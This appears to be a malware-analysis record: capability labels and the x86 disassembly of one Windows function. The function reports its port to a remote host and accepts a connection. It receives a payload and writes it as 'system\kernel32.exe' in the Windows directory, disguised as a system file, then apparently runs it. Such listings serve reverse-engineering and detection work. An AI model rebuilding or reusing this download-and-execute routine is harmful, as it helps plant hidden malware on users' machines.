Function at 0x402a45
Capabilities:
Download and write a file
Get common file path
Get local ipv4 addresses
Get socket information
Get socket status
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2a8c
call fcn.004046b0
push ebx
push esi
push edi
push 1
pop ebx
xor esi, esi
push ebx
push ebx
push esi
call fcn.00401538
push 0x10
lea ecx, [ebp - 0x18]
pop edi
mov dword [ebp - 4], eax
push ecx
lea ecx, [ebp - 0x38]
push ecx
push eax
mov dword [ebp - 0x18], edi
call dword [sym.imp.WS2_32.dll_getsockname]
push 0x40
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00403ee0
add esp, 0xc
mov byte [ebp - 0x78], 0x21
push dword [ebp - 0x36]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push 4
push eax
lea eax, [ebp - 0x77]
push eax
call fcn.00403f40
add esp, 0xc
lea eax, [ebp + 8]
push edi
push eax
push esi
lea eax, [ebp - 0x78]
push 5
push eax
push dword [ebp + 0x18]
call dword [sym.imp.WS2_32.dll_sendto]
push 5
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
jne 0x402c66
lea eax, [ebp - 0x24]
mov dword [ebp - 8], edi
mov edi, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x28c]
push esi
push eax
push esi
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x288], edi
mov dword [ebp - 0x28c], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x402c66
cmp eax, esi
je 0x402c66
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x88]
push eax
push edi
call dword [sym.imp.WS2_32.dll_accept]
cmp eax, 0xffffffff
mov dword [ebp + 0x18], eax
je 0x402c66
push 0x40
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00403ee0
add esp, 0xc
lea eax, [ebp - 0x78]
push esi
push 4
push eax
push dword [ebp + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
lea eax, [ebp - 0x78]
push 4
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00403f40
mov edi, 0x100
lea eax, [ebp - 0x188]
push edi
push esi
push eax
mov dword [ebp - 0x10], esi
call fcn.00403ee0
add esp, 0x18
lea eax, [ebp - 0x188]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x188]
push str._systemkernel32.exe
push eax
call fcn.00404440
pop ecx
lea eax, [ebp - 0x188]
pop ecx
push esi
push 0x80
push 2
push esi
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x402c6d
cmp dword [ebp - 0xc], esi
jbe 0x402c31
mov edi, 0x2800
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
sub eax, ebx
mov dword [ebp - 8], edi
cmp eax, edi
ja 0x402be1
mov dword [ebp - 8], eax
push dword [ebp - 8]
lea eax, [ebp - 0x2a8c]
push edi
push eax
push dword [ebp + 0x18]
call fcn.00402c7f
cmp eax, dword [ebp - 8]
jne 0x402c6d
lea eax, [ebp - 0x28]
push esi
push eax
lea eax, [ebp - 0x2a8c]
push dword [ebp - 8]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402c6d
push edi
lea eax, [ebp - 0x2a8c]
push esi
push eax
call fcn.00403ee0
add ebx, dword [ebp - 8]
add esp, 0xc
cmp ebx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ebx
jb 0x402bcf
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
call edi
push dword [ebp + 0x18]
call edi
push esi
lea eax, [ebp - 0x188]
push 0x40e020
push eax
call fcn.00403a39
push dword [ebp + 0x18]
call edi
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push dword [ebp + 0x18]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
call esi
push dword [ebp - 4]
call esi
jmp 0x402c66